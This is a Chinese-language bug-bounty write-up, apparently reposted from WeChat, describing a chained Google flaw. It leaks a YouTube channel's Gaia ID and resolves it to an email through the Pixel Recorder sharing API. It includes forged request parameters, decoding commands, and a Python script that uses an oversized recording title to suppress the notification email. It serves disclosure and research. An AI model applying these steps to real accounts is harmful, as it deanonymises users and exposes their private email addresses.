背景
本次分享一个最近认为非常有趣的漏洞,该漏洞最终获得10000刀换算为人民币大概7w多的现金奖励。
漏洞原理并不复杂,胜在细心,You Do You can 的水平。
正文
前段时间,我在寻找 Google 的研究目标时,翻阅了内部 People API(Staging)发现文档,直到注意到一些有趣的内容:
"BlockedTarget":{"id":"BlockedTarget","description":"The target of a user-to-user block, used to specify creation/deletion of blocks.","type":"object","properties":{"profileId":{"description":"Required. The obfuscated Gaia ID of the user targeted by the block.","type":"string"},"fallbackName":{"description":"Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.","type":"string"}}},
看起来,Google 跨服务的“屏蔽用户”功能是基于一个混淆过的 Gaia ID 以及该被屏蔽用户的显示名称。这个混淆 Gaia ID,其实就是一个 Google 账户的唯一标识符。
这本来似乎没什么问题,直到我想起了这篇支持页面:
当我在 YouTube 上屏蔽某人时,系统会在 https://myaccount.google.com/blocklist 中显示被屏蔽用户的混淆 Gaia ID(Google 账号标识符)和显示名称。
备用名称被设置为该用户的频道名称 “Mega Prime”,而 profile ID 则是他们混淆后的 Gaia ID:107183641464576740691。
这让我觉得非常诡异,因为 YouTube 理应绝不会泄露某个频道背后的 Google 账号信息。
但过去曾出现过好几个漏洞,能将这些 ID 解析成电子邮件地址,所以我确信在某个被遗忘的老旧 Google 产品中,仍然存在 Gaia ID 到邮箱的映射。
升级危害: 影响40 亿YouTube 频道
目前我们已经能泄露任何直播聊天用户的 Gaia ID,但问题来了 —— 能不能把这个能力“升级”,扩大到 YouTube 上的所有频道呢?
事实证明:可以。
当你在某个频道的评论区或直播聊天中,点击“三个点”的操作菜单(也就是那个上下文菜单),后台其实就会悄悄发送一个请求:
Request
POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2Host: www.youtube.comCookie: <redacted>
Response
HTTP/2200 OKContent-Type: application/json; charset=UTF-8Server: scaffolding on HTTPServer2{ ..."serviceEndpoint":{ ..."commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/live_chat/moderate"}},"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="}} ...}
那个 params 只是一个经过 base64 编码的 protobuf(协议缓冲区)数据,这是一种 Google 内部广泛使用的编码格式。
如果我们尝试解码这个 moderateLiveChatEndpoint 参数:
$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw1{5{1:"UChs0pSaEoNLV4mevBFGaoKA"2:"36YnV9STBqc"}}10:011:112{1:"113907466537670370590"2:"SE-aYOb-uCg059qHRis_ow"}14:0
实际上,它只包含了我们想要屏蔽的用户 Gaia ID,甚至不需要真正屏蔽他们!
接下来,让我们看看 get_item_context_menu 请求中的 params:
$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw3{5{1:"UChs0pSaEoNLV4mevBFGaoKA"2:"36YnV9STBqc"}}6{1:"UCSE-aYOb-uCg059qHRis_ow"}
看起来,它只是包含了我们要屏蔽的频道 ID、直播视频 ID 和直播作者 ID。接下来,我们尝试伪造请求参数,用我们自己目标的频道 ID 来进行测试。
为了这个测试,我们将使用一个主题频道,因为它们是由 YouTube 自动生成的,并且可以确保没有任何直播聊天消息。
$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=
在 /youtubei/v1/live_chat/get_item_context_menu 上进行测试:
..."moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}...
echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw1{5{1:"UChs0pSaEoNLV4mevBFGaoKA"2:"36YnV9STBqc"}}10:011:112{1:"103261974221829892167"2:"D2LZAT1j1DyVXq2R2BdusQ"}
我们可以泄露该频道的 Gaia ID - 103261974221829892167
缺失的拼图:Pixel Recorder
我把 YouTube Gaia ID 泄露的事情告诉了我的朋友 Nathan,然后我们开始研究一些被遗忘的旧版 Google 产品,因为它们可能存在某个漏洞或逻辑缺陷,可以将 Gaia ID 解析成电子邮件地址。
Pixel Recorder 就是其中之一。
Nathan 在他的 Pixel 手机上录制了一个测试视频,并同步到他的 Google 账户,这样我们就可以通过网页访问这些端点,地址是 https://recorder.google.com:
当我们尝试将录音分享给一个测试邮箱时,我们突然意识到了关键点所在:
Request
POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2Host: pixelrecorder-pa.clients6.google.comCookie: <redacted>Content-Length:80Authorization: <redacted>X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2RoContent-Type: application/json+protobufReferer: https://recorder.google.com/["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]
Response
HTTP/2200 OKContent-Type: application/json+protobuf; charset=UTF-8Server: ESFContent-Length:138["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"[email protected]"]]]
这个接口居然接受了一个混淆过的 Gaia ID,然后……返回了对应的邮箱地址?
我们用之前在 YouTube 屏蔽用户时拿到的 Gaia ID 107183641464576740691 做了测试,结果真的成功了:
HTTP/2200 OKContent-Type: application/json+protobuf; charset=UTF-8Server: ESFContent-Length:138["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"[email protected]"],[null,2,"[email protected]"]]]
一个小问题:如何避免通知目标用户
虽然我们可以通过这个接口成功获取邮箱地址,但过程中会触发一个小小的副作用 —— Google 会向目标邮箱发送分享通知邮件。
这显然会暴露我们的行为,所以接下来我们需要想办法悄无声息地完成查询,避免打草惊蛇。
这可不妙,这个问题会大大降低整个漏洞的危害等级。
在分享的弹窗界面里,似乎并没有任何选项可以关闭通知邮件的发送。
也就是说,只要我们通过这个方法查询邮箱,对方就会收到一封“有人分享了录音给你”的邮件,瞬间暴露我们在“搞事情”——对研究者来说,这无疑是一大限制。
我尝试用我的工具 req2proto 把整个请求的 proto(协议缓冲区)结构泄出来看个清楚,但……并没有发现任何能关闭邮件通知的字段或选项。
syntax = "proto3";package java.com.google.wireless.android.pixel.recorder.protos;import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";message WriteShareListRequest { string recording_id = 1; string delete_obfuscated_gaia_ids = 2; ShareUser update_shared_users = 3; string sharing_message = 4;}message ShareUser { string obfuscated_gaia_id = 1; java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2; string email = 3;}
换句话说,这个接口默认就是“必通知”的设定,无法通过简单手段静默操作。
这对我们想要低调挖洞、静悄悄搞测试来说,是个不小的麻烦。
即便我们尝试在同一个请求中同时添加又移除该用户,邮件依然还是被发了出去——这一招也行不通。
但就在这时候,我们灵光一闪:
如果 Google 的通知邮件会在主题行中包含我们的录音标题,那会不会在标题太长时,它就无法正常发送邮件了?
于是我们立刻动手,撸了个简单的 Python 脚本来验证这个大胆的想法:
import requestsBASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"headers = { "Host": "pixelrecorder-pa.clients6.google.com", "Content-Type": "application/json+protobuf", "X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro", "Origin": "https://recorder.google.com"}def get_recording_uuid(share_id: str): payload = f"["{share_id}"]" response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload) if response.status_code != 200: print("unknown error when getting recording uuid: ", response.json()) exit(1) try: response = response.json() except: print('can't parse response when getting recording uuid: ', response.text) exit(1) return response["recording"]["uuid"]def update_recording_title(share_id: str): x = 'X'*2500000 # 2.5 million char long title name! payload = f'["{share_id}","{x}"]' response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload) if response.status_code != 200: print("unknown error when updating recording title: ", response.json()) exit(1)def main(): share_id = input("Enter share ID: ") headers["Cookie"] = input("Cookie header:" ) headers["Authorization"] = input("Authorization header: ") uuid = get_recording_uuid(share_id) print("UUID:", uuid) update_recording_title(uuid) print("Updated recording title successfully.")if __name__ == "__main__": main()
……然后我们的录音标题一下子飙到了 250 万个字符 长!
最让人惊讶的是——服务器端居然没有对录音标题长度做任何限制。完全放飞自我,怎么长都行!
这意味着什么?意味着我们有可能用一个超长标题“撑爆”邮件通知系统,从而让邮件根本发不出去。聪明吧?😎
接着我们把这个“超长标题”的录音分享给另一个测试用户……
整合漏洞利用链
我们基本上已经拿到了完整的攻击链,现在只需要把它们串联起来:
-
1. 通过 Innertube 接口 /get_item_context_menu 泄露目标 YouTube 频道的 混淆 Gaia ID -
2. 将一个超长标题的 Pixel 录音分享给目标用户,从而将 Gaia ID 转换为电子邮件地址 -
3. 将目标用户从 Pixel 录音的分享列表中移除(清理现场)
下面是这个漏洞的实际利用演示:
https://www.youtube.com/embed/nuZiiKVej84
时间线
漏洞点评
整个漏洞发现过程是比较有趣的,是一个跨产品组合利用造成信息泄漏属于高危级别漏洞(平时可以多注意这块!)。
但相比漏洞的发现细节,我更加欣赏YouYuBe对待漏洞的态度,给人一种感觉是国外大型互联网企业对比国内会更加实事求是,更加尊重发现漏洞的努力甚至会为白帽子申请大额额外奖励(7500$)
试想一种情况,长期以往,如果没有这个尊重的激励机制,我觉得很多人慢慢就不会想着去证明漏洞危害来提交了,干嘛要多花费时间呢?
还有另外一种可能就是,国内的企业真的是严重问题太多了,动不动就各种rce,内网漫游,云产品无限制接管等等一系列直接到位的漏洞,这些归类严重级别的漏洞奖励预算也不多,所以其他常规高危漏洞价格自然可想而知,基本都是压低的,不给你忽略就算好的了。
最后,挖漏洞还是要看脸,多试试不同厂商,也许被你发现宝藏SRC呢?
原文始发于微信公众号(一个不正经的黑客):不是,你咋又在YouTube油管赚到10000$?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论